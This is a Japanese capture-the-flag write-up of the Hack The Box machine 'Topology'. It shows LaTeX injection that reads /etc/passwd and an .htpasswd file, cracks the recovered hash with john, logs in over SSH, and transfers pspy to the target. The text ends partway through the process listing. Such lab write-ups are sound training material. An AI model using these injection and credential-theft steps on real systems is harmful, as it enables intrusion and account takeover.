【Hack The Box】Topology【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Topology___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
今回はRustScanで高速スキャンしてみた。（はっや）

```bash                                             
┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.217 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.217:22
Open 10.10.11.217:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-11 05:30 EDT
Initiating Ping Scan at 05:30
Scanning 10.10.11.217 [4 ports]
Completed Ping Scan at 05:30, 0.23s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:30
Completed Parallel DNS resolution of 1 host. at 05:30, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:30
Scanning 10.10.11.217 [2 ports]
Discovered open port 22/tcp on 10.10.11.217
Discovered open port 80/tcp on 10.10.11.217
Completed SYN Stealth Scan at 05:30, 0.23s elapsed (2 total ports)
Nmap scan report for 10.10.11.217
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2023-06-11 05:30:33 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
```
ポート22、80が公開されてそう。
アクセスしてみる。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9ee52544-05ab-bd3f-778a-5d7cb66cdce6.png)
BurpでResponseを調査すると以下のような記載のある個所を発見する。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/33ed5945-1e24-5c9a-a9de-24f0e0549770.png)
ドメインが`topology.htb`、サブドメインで`latex`があるみたいだ。
ドメイン周りの設定をしていくか。

# Collection
## ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
```bash
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   
```
以下を投入。
```bash
10.10.11.216    topology.htb latex.topology.htb
```
疎通確認を行う。

```bash
┌──(root㉿kali)-[~]
└─# ping topology.htb
```

## サイト探索
### Subdomain探索
以下サイトからサブドメインのリストをダウンロード

https://github.com/danielmiessler/SecLists

```bash
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
```
`ffuf`で探索。
```bash
┌──(root㉿kali)-[~/work]
└─# ffuf -w bitquark-subdomains-top100000.txt:FUZZ -u http://topology.htb/ -H "HOST: FUZZ.topology.htb" -fs 6767 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://topology.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.topology.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 6767
________________________________________________

[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 796ms]
    * FUZZ: dev

[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 5902ms]
    * FUZZ: stats
```
`dev`と`stats`が追加で見つかった。これも追加でドメイン設定する。

### ブラウザアクセス
実際にアクセスしてみる。
#### latex.topology.htb
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4e4adef4-7734-5b31-5df6-58540d1f7d90.png)
#### dev.topology.htb
![3a.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/cb7466b6-3e2e-248b-21d6-1abbef285f2f.png)
Basic認証が設定されている
#### stats.topology.htb
![3b.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1dfdf4bb-5617-a469-aefc-b02a243e8e76.png)
![3c.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/187a6170-30c3-fca7-c407-9786b1c35bbd.png)
なにやら画像が表示される階層か。
### ディレクトリ探索
`stats`の階層を調べてみる。
```bash
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://stats.topology.htb/                                                                            

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                                            
 (_||| _) (/_(_|| (_| )                                                                                                                                     
                                                                                                                                                            
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/stats.topology.htb/-_23-06-11_06-27-22.txt

Error Log: /root/.dirsearch/logs/errors-23-06-11_06-27-22.log

Target: http://stats.topology.htb/

[06:27:23] Starting: 
[06:27:46] 403 -  283B  - /.ht_wsr.txt                                     
[06:27:46] 403 -  283B  - /.htaccess.sample
[06:27:46] 403 -  283B  - /.htaccess.orig
[06:27:46] 403 -  283B  - /.htaccess.save
[06:27:46] 403 -  283B  - /.htaccess.bak1
[06:27:47] 403 -  283B  - /.htaccess_sc
[06:27:47] 403 -  283B  - /.htaccessBAK
[06:27:47] 403 -  283B  - /.htaccessOLD
[06:27:47] 403 -  283B  - /.htaccessOLD2                                   
[06:27:47] 403 -  283B  - /.htaccess_extra
[06:27:47] 403 -  283B  - /.htaccess_orig
[06:27:47] 403 -  283B  - /.htm
[06:27:47] 403 -  283B  - /.html
[06:27:47] 403 -  283B  - /.htpasswds
[06:27:47] 403 -  283B  - /.htpasswd_test                                  
[06:27:47] 403 -  283B  - /.httr-oauth
[06:28:00] 403 -  283B  - /.php                                                                    
[06:35:49] 301 -  324B  - /files  ->  http://stats.topology.htb/files/      
[06:35:49] 200 -    1KB - /files/                                           
[06:36:48] 200 -  108B  - /index.html                                       
[06:37:06] 301 -  329B  - /javascript  ->  http://stats.topology.htb/javascript/
[06:41:30] 403 -  283B  - /server-status/                                   
[06:41:30] 403 -  283B  - /server-status                                    
[06:44:11] 403 -  283B  - /~backup                                          
[06:44:11] 403 -  283B  - /~bin
[06:44:11] 403 -  283B  - /~daemon
[06:44:11] 403 -  283B  - /~games                                           
[06:44:11] 403 -  283B  - /~gdm
[06:44:13] 403 -  283B  - /~lp                                              
[06:44:13] 403 -  283B  - /~mail
[06:44:13] 403 -  283B  - /~nobody                                          
[06:44:13] 403 -  283B  - /~news
[06:44:14] 403 -  283B  - /~sync                                            
[06:44:16] 403 -  283B  - /~uucp 
```
何もなさすぎる。
情報収集はこのくらいにしてlatex.topology.htbのファイル達を調べていこうと思う。

# Initial Access
## LFI
latex.topology.htbの中でParameterを飛ばすことが出来るのは`equation.php`くらいだった。
ブラウザアクセスの画面はこんな感じ。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5401f15a-e510-75a1-350a-d84c515ebe02.png)
何やらLaTexの表記を画像化して返してくれる機能を持っているみたいだ。
LaTexのHackingに関しては以下のサイトで勉強を行った（大学生と研究者くらいじゃないか？この言語触ってるの...）

https://0day.work/hacking-with-latex/

https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection

http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

これらのLaTexを少し試してみる。`\lstinputlisting{/etc/passwd}`を試してみよう。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/913f945f-f6ff-e068-7d39-a6d8faa16eca.png)
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2e9e1fe2-2485-6484-9515-e8e4d660dd11.png)
通ってるみたいだが、Responseが何も見えない（通常であればPNGファイルが帰ってくるはず...）。
ただLaTexのコードが通りそうなことは分かった。

ここでRCEやWrite系のLaTex構文のHackingを行うと痛い目を見る。大体がマシンによってフィルタリングされてエラーが帰ってくる。先ほどみたいにHTTP 200OKが帰ってこないのだ。
これで私はLaTex構文の作成に数時間を費やした。

LaTexについて調べていると以下のサイトを発見する。

https://tex.stackexchange.com/questions/63729/how-to-use-mathematical-symbols-in-listing

`$`で囲うことでmathモードで特殊文字をそのまま出力出来るみたいだ。
これで画像として出力できるのではと考える。
※出力できないので内部で何かを作ったり、コマンドを打ったりすることに方針を向けるのではなく、出力に合わせる方向でExploitを構築するべきだった。

実際にやってみる。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6646dc41-57c7-504e-70af-c1f066f2bbf2.png)
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9c4d1453-8c3c-7b91-e28a-272d5696aeb2.png)
出来た！これでLFI出来そうだ！

## htpassed
何か情報がないか探っていくのだが、今回は以下のようにApache HTTP Serverを利用しているみたいだ。
ここら辺の階層を探っていく。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f1bdcaa0-375a-686e-3eb9-29cc8f93b715.png)
`/etc/httpd/conf/httpd.conf`がなかったので、`/etc/apache2/sites-available/000-default.conf`を探る。
![10a.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0e44c479-0e83-dcb2-a308-db256bcc0377.png)
以下のようにResponseがあった。
![10b.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/fbc83b2f-67b3-591b-97dc-1f6cc3f468e3.png)
サブドメインがない階層だ。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f34d6a80-27ed-6c69-e358-69c9cca3e7c5.png)
`dev`の階層。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c36bf357-f53e-373a-9422-e0b247b7ca08.png)
`stats`の階層。

そういえば`dev`にはBasic認証があったので`.htpasswd`があるのではないかということで、`/var/www/dev/.htpasswd`を探る。
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b03fa664-aa1e-b76f-a9e7-0e583b42f495.png)
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1e0a55d1-26de-8f5a-a829-5f1882a6b7f0.png)
あった！クレデンシャルだ！

# Credential Access
以下のファイルを作成する。ここら辺の文字列はOCRでうまく切り出して欲しい。
```text:hash
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
```
Johnさんで解析してもらう。
```bash
┌──(root㉿kali)-[~/work]
└─# john hash --wordlist=./rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
```
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7a51e75e-bff1-14d3-a4e3-2fe85ff28f0e.png)
パスワードげっちゅ！！！このクレデンシャルでSSHしてみる。
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c1f59ea9-ce1a-c55a-d6f2-84e43b4e71e9.png)
いった！！！User権限ゲット！

# Privilege Escalation
## 情報収集
### sudo -l
No Passで特権コマンド打てないかなぁとか思いながら`sudo -l`で確認します
```bash
vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley: 
Sorry, user vdaisley may not run sudo on topology.
vdaisley@topology:~$ 
```
なにもない。

### pspy
何かいいプロセス動いてないかなぁ～とか思いながらpspy動かします。
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。

https://github.com/DominicBreuker/pspy

入手後はターゲットに実行ファイルを送信するために簡易的なWebサーバを立ち上げます。
```bash
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 80
```
攻撃対象サーバからこのファイルをダウンロードしてくるので自分のIPを確認しておきます。
※この場合はtun0
```bash
┌──(root💀kali)-[~/work]
└─# ip a                                                                                                                                               1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever

...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.93/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::101a/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever
```
攻撃対象サーバへ転送します。
```bash
vdaisley@topology:/tmp$ wget http://10.10.14.93/pspy64
```
`chmod +x ./pspy64`をして実行！
```bash
vdaisley@topology:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/06/15 10:24:37 CMD: UID=1007  PID=18780  | ./pspy64 
2023/06/15 10:24:37 CMD: UID=33    PID=18158  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=18157  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=18156  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=18155  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=18154  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=18153  | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=1007  PID=10749  | /usr/bin/gpg-agent --supervised 
2023/06/15 10:24:37 CMD: UID=33    PID=9862   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=1007  PID=4499   | -bash 
2023/06/15 10:24:37 CMD: UID=1007  PID=4498   | sshd: vdaisley@pts/1 
2023/06/15 10:24:37 CMD: UID=0     PID=4427   | sshd: vdaisley [priv] 
2023/06/15 10:24:37 CMD: UID=33    PID=1610   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1264   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1263   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1261   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1260   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1259   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=1007  PID=1205   | -bash 
2023/06/15 10:24:37 CMD: UID=1007  PID=1202   | sshd: vdaisley@pts/0 
2023/06/15 10:24:37 CMD: UID=1007  PID=1162   | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2023/06/15 10:24:37 CMD: UID=113   PID=1139   | /usr/libexec/rtkit-daemon 
2023/06/15 10:24:37 CMD: UID=1007  PID=1118   | /usr/bin/pulseaudio --daemonize=no --log-target=journal 
2023/06/15 10:24:37 CMD: UID=1007  PID=1107   | (sd-pam) 
2023/06/15 10:24:37 CMD: UID=1007  PID=1106   | /lib/systemd/systemd --user 
2023/06/15 10:24:37 CMD: UID=33    PID=1068   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1067   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1065   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1064   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1060   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1057   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1056   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=1055   | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=0     PID=1054   | 
2023/06/15 10:24:37 CMD: UID=33    PID=992    | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=991    | 
2023/06/15 10:24:37 CMD: UID=0     PID=988    | sshd: vdaisley [priv] 
2023/06/15 10:24:37 CMD: UID=33    PID=969    | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=967    | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=33    PID=965    | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=0     PID=963    | /usr/sbin/apache2 -k start 
2023/06/15 10:24:37 CMD: UID=0     PID=962    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2023/06/15 10:24:37 CMD: UID=0     PID=952    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 
2023/06/15 10:24:37 CMD: UID=1     PID=951    | /usr/sbin/atd -f 
2023/06/15 10:24:37 CMD: UID=0     PID=950    | /usr/bin/python3 /usr/bin/fail2ban-server -xf start 
2023/06/15 10:24:37 CMD: UID=0     PID=935    | /usr/sbin/cron -f 
2023/06/15 10:24:37 CMD: UID=101   PID=883    | /lib/systemd/systemd-resolved 
2023/06/15 10:24:37 CMD: UID=0     PID=782    | /usr/sbin/ModemManager 
2023/06/15 10:24:37 CMD: UID=117   PID=771    | avahi-daemon: chroot helper 
2023/06/15 10:24:37 CMD: UID=0     PID=766    | /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant 
2023/06/15 10:24:37 CMD: UID=0     PID=765    | /usr/lib/udisks2/udisksd 
2023/06/15 10:24:37 CMD: UID=0     PID=764    | /lib/systemd/systemd-logind 
2023/06/15 10:24:37 CMD: UID=104   PID=760    | /usr/sbin/rsyslogd -n -iNONE 
2023/06/15 10:24:37 CMD: UID=0     PID=746    | /usr/lib/policykit-1/polkitd --no-debug 
2023/06/15 10:24:37 CMD: UID=0     PID=745    | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers 
2023/06/15 10:24:37 CMD: UID=0     PID=739    | /usr/sbin/irqbalance --foreground 
2023/06/15 10:24:37 CMD: UID=0     PID=725    | /usr/sbin/NetworkManager --no-daemon 
2023/06/15 10:24:37 CMD: UID=103   PID=717    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2023/06/15 10:24:37 CMD: UID=117   PID=715    | avahi-daemon: running [topology.local] 
2023/06/15 10:24:37 CMD: UID=0     PID=714    | /usr/lib/accountsservice/accounts-daemon 
2023/06/15 10:24:37 CMD: UID=0     PID=693    | 
2023/06/15 10:24:37 CMD: UID=0     PID=674    | /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0                                                                                                                            
2023/06/15 10:24:37 CMD: UID=0     PID=668    | /usr/bin/vmtoolsd 
2023/06/15 10:24:37 CMD: UID=0     PID=644    | /usr/bin/VGAuthService 
2023/06/15 10:24:37 CMD: UID=102   PID=630    | /lib/systemd/systemd-timesyncd 
2023/06/15 10:24:37 CMD: UID=0     PID=624    | /sbin/auditd 
2023/06/15 10:24:37 CMD: UID=0     PID=596    | /sbin/multipathd -d -s 
2023/06/15 10:24:37 CMD: UID=0     PID=595    | 
2023/06/15 10:24:37 CMD: UID=0     PID=594    | 
2023/06/15 10:24:37 CMD: UID=0     PID=592    | 
2023/06/15 10:24:37 CMD: UID=0     PID=591    | 
2023/06/15 10:24:37 CMD: UID=0     PID=532    | 
2023/06/15 10:24:37 CMD: UID=0     PID=496    | /lib/systemd/systemd-udevd 
2023/06/15 10:24:37 CMD: UID=0     PID=486    | 
2023/06/15 10:24:37 CMD: UID=0     PID=468    | /lib/systemd/systemd-journald 
2023/06/15 10:24:37 CMD: UID=0     PID=414    | 
2023/06/15 10:24:37 CMD: UID=0     PID=413    | 
2023/06/15 10:24:37 CMD: UID=0     PID=362    | 
2023/06/15 10:24:37 CMD: UID=0     PID=339    | 
2023/06/15 10:24:37 CMD: UID=0     PID=333    | 
2023/06/15 10:24:37 CMD: UID=0     PID=331    | 
2023/06/15 10:24:37 CMD: UID=0     PID=330    | 
2023/06/15 10:24:37 CMD: UID=0     PID=327    | 
2023/06/15 10:24:37 CMD: UID=0     PID=326    | 
2023/06/15 10:24:37 CMD: UID=0     PID=325    | 
2023/06/15 10:24:37 CMD: UID=0     PID=301    | 
2023/06/15 10:24:37 CMD: UID=0     PID=300    | 
2023/06/15 10:24:37 CMD: UID=0     PID=299    | 
2023/06/15 10:24:37 CMD: UID=0     PID=298    | 
2023/06/15 10:24:37 CMD: UID=0     PID=297    | 
2023/06/15 10:24:37 CMD: UID=0     PID=296    | 
2023/06/15 10:24:37 CMD: UID=0     PID=295    | 
2023/06/15 10:24:37 CMD: UID=0     PID=294    | 
2023/06/15 10:24:37 CMD: UID=0     PID=293    | 
2023/06/15 10:24:37 CMD: UID=0     PID=292    | 
2023/06/15 10:24:37 CMD: UID=0     PID=291    | 
2023/06/15 10:24:37 CMD: UID=0     PID=290    | 
2023/06/15 10:24:37 CMD: UID=0     PID=289    | 
2023/06/15 10:24:37 CMD: UID=0     PID=288    | 
2023/06/15 10:24:37 CMD: UID=0     PID=287    | 
2023/06/15 10:24:37 CMD: UID=0     PID=286    | 
2023/06/15 10:24:37 CMD: UID=0     PID=285    | 
2023/06/15 10:24:37 CMD: UID=0     PID=284    | 
2023/06/15 10:24:37 CMD: UID=0     PID=283    | 
2023/06/15 10:24:37 CMD: UID=0     PID=282    | 
2023/06/15 10:24:37 CMD: UID=0     PID=280    | 
2023/06/15 10:24:37 CMD: UID=0     PID=279    | 
2023/06/15 10:24:37 CMD: UID=0     PID=263    | 
2023/06/15 10:24:37 CMD: UID=0     PID=262    | 
2023/06/15 10:24:37 CMD: UID=0     PID=257    | 
2023/06/15 10:24:37 CMD: UID=0     PID=243    | 
2023/06/15 10:24:37 CMD: UID=0     PID=242    | 
2023/06/15 10:24:37 CMD: UID=0     PID=241    | 
2023/06/15 10:24:37 CMD: UID=0     PID=240    | 
2023/06/15 10:24:37 CMD: UID=0     PID=239    | 
2023/06/15 10:24:37 CMD: UID=0     PID=238    | 
2023/06/15 10:24:37 CMD: UID=0     PID=237    | 
2023/06/15 10:24:37 CMD: UID=0     PID=236    | 
2023/06/15 10:24:37 CMD: UID=0     PID=235    | 
2023/06/15 10:24:37 CMD: UID=0     PID=234    | 
2023/06/15 10:24:37 CMD: UID=0     PID=233    | 
2023/06/15 10:24:37 CMD: UID=0     PID=232    | 
2023/06/15 10:24:37 CMD: UID=0     PID=231    | 
2023/06/15 10:24:37 CMD: UID=0     PID=230    | 
2023/06/15 10:24:37 CMD: UID=0     PID=229    | 
2023/06/15 10:24:37 CMD: UID=0     PID=228    | 
2023/06/15 10:24:37 CMD: UID=0     PID=227    | 
2023/06/15 10:24:37 CMD: UID=0     PID=226    | 
2023/06/15 10:24:37 CMD: UID=0     PID=225    | 
2023/06/15 10:24:37 CMD: UID=0     PID=224    | 
2023/06/15 10:24:37 CMD: UID=0     PID=223    | 
2023/06/15 10:24:37 CMD: UID=0     PID=222    | 
2023/06/15 10:24:37 CMD: UID=0     PID=221    | 
2023/06/15 10:24:37 CMD: UID=0     PID=220    | 
2023/06/15 10:24:37 CMD: UID=0     PID=219    | 
2023/06/15 10:24:37 CMD: UID=0     PID=218    | 
2023/06/15 10:24:37 CMD: UID=0     PID=217    | 
2023/06/15 10:24:37 CMD: UID=0     PID=216    | 
2023/06/15 10:24:37 CMD: UID=0     PID=215    | 
2023/06/15 10:24:37 CMD: UID=0     PID=214    | 
2023/06/15 10:24:37 CMD: UID=0     PID=213    | 
2023/06/15 10:24:37 CMD: UID=0     PID=212    | 
2023/06/15 10:24:37 CMD: UID=0     PID=211    | 
2023/06/15 10:24:37 CMD: UID=0     PID=210    | 
2023/06/15 10:24:37 CMD: UID=0     PID=209    | 
2023/06/15 10:24:37 CMD: UID=0     PID=208    | 
2023/06/15 10:24:37 CMD: UID=0     PID=207    | 
2023/06/15 10:24:37 CMD: UID=0     PID=206    | 
2023/06/15 10:24:37 CMD: UID=0     PID=205    | 
2023/06/15 10:24:37 CMD: UID=0     PID=204    | 
2023/06/15 10:24:37 CMD: UID=0     PID=203    | 
2023/06/15 10:24:37 CMD: UID=0     PID=202    | 
2023/06/15 10:24:37 CMD: UID=0     PID=158    | 
2023/06/15 10:24:37 CMD: UID=0     PID=157    | 
2023/06/15 10:24:37 CMD: UID=0     PID=144    | 
2023/06/15 10:24:37 CMD: UID=0     PID=141    | 
2023/06/15 10:24:37 CMD: UID=0     PID=132    | 
2023/06/15 10:24:37 CMD: UID=0     PID=130    | 
2023/06/15 10:24:37 CMD: UID=0     PID=128    | 
2023/06/15 10:24:37 CMD: UID=0     PID=127    | 
2023/06/15 10:24:37 CMD: UID=0     PID=126    | 
2023/06/15 10:24:37 CMD: UID=0     PID=125    | 
2023/06/15 10:24:37 CMD: UID=0     PID=124    | 
2023/06/15 10:24:37 CMD: UID=0     PID=123    | 
2023/06/15 10:24:37 CMD: UID=0     PID=122    | 
2023/06/15 10:24:37 CMD: UID=0     PID=121    | 
2023/06/15 10:24:37 CMD: UID=0     PID=120    | 
2023/06/15 10:24:37 CMD: UID=0     PID=119    | 
2023/06/15 10:24:37 CMD: UID=0     PID=118    | 
2023/06/15 10:24:37 CMD: UID=0     PID=117    | 
2023/06/15 10:24:37 CMD: UID=0     PID=116    | 
2023/06/15 10:24:37 CMD: UID=0     PID=115    | 
2023/06/15 10:24:37 CMD: UID=0     PID=114    | 
2023/06/15 10:24:37 CMD: UID=0     PID=113    | 
2023/06/15 10:24:37 CMD: UID=0     PID=112    | 
2023/06/15 10:24:37 CMD: UID=0     PID=111    | 
2023/06/15 10:24:37 CMD: UID=0     PID=110    | 
2023/06/15 10:24:37 CMD: UID=0     PID=109    | 
2023/06/15 10:24:37 CMD: UID=0     PID=108    | 
2023/06/15 10:24:37 CMD: UID=0     PID=107    | 
2023/06/15 10:24:37 CMD: UID=0     PID=106    | 
2023/06/15 10:24:37 CMD: UID=0     PID=105    | 
2023/06/15 10:24:37 CMD: UID=0     PID=104    | 
2023/06/15 10:24:37 CMD: UID=0     PID=103    | 
2023/06/15 10:24:37 CMD: UID=0     PID=102    | 
2023/06/15 10:24:37 CMD: UID=0     PID=101    | 
2023/06/15 10:24:37 CMD: UID=0     PID=100    | 
2023/06/15 10:24:37 CMD: UID=0     PID=99     | 
2023/06/15 10:24:37 CMD: UID=0     PID=98     | 
2023/06/15 10:24:37 CMD: UID=0     PID=97     | 
2023/06/15 10:24:37 CMD: UID=0     PID=96     | 
2023/06/15 10:24:37 CMD: UID=0     PID=95     | 
2023/06/15 10:24:37 CMD: UID=0     PID=94     | 
2023/06/15 10:24:37 CMD: UID=0     PID=93     | 
2023/06/15 10:24:37 CMD: UID=0     PID=92     | 
2023/06/15 10:24:37 CMD: UID=0     PID=91     | 
2023/06/15 10:24:37 CMD: UID=0     PID=89     | 
2023/06/15 10:24:37 CMD: UID=0     PID=88     | 
2023/06/15 10:24:37 CMD: UID=0     PID=85     | 
2023/06/15 10:24:37 CMD: UID=0     PID=84     | 
2023/06/15 10:24:37 CMD: UID=0     PID=83     | 
2023/06/15 10:24:37 CMD: UID=0     PID=82     | 
2023/06/15 10:24:37 CMD: UID=0     PID=81     | 
2023/06/15 10:24:37 CMD: UID=0     PID=80     | 
2023/06/15 10:24:37 CMD: UID=0     PID=79     | 
2023/06/15 10:24:37 CMD: UID=0     PID=78     | 
2023/06/15 10:24:37 CMD: UID=0     PID=77     | 
2023/06/15 10:24:37 CMD: UID=0     PID=35     | 
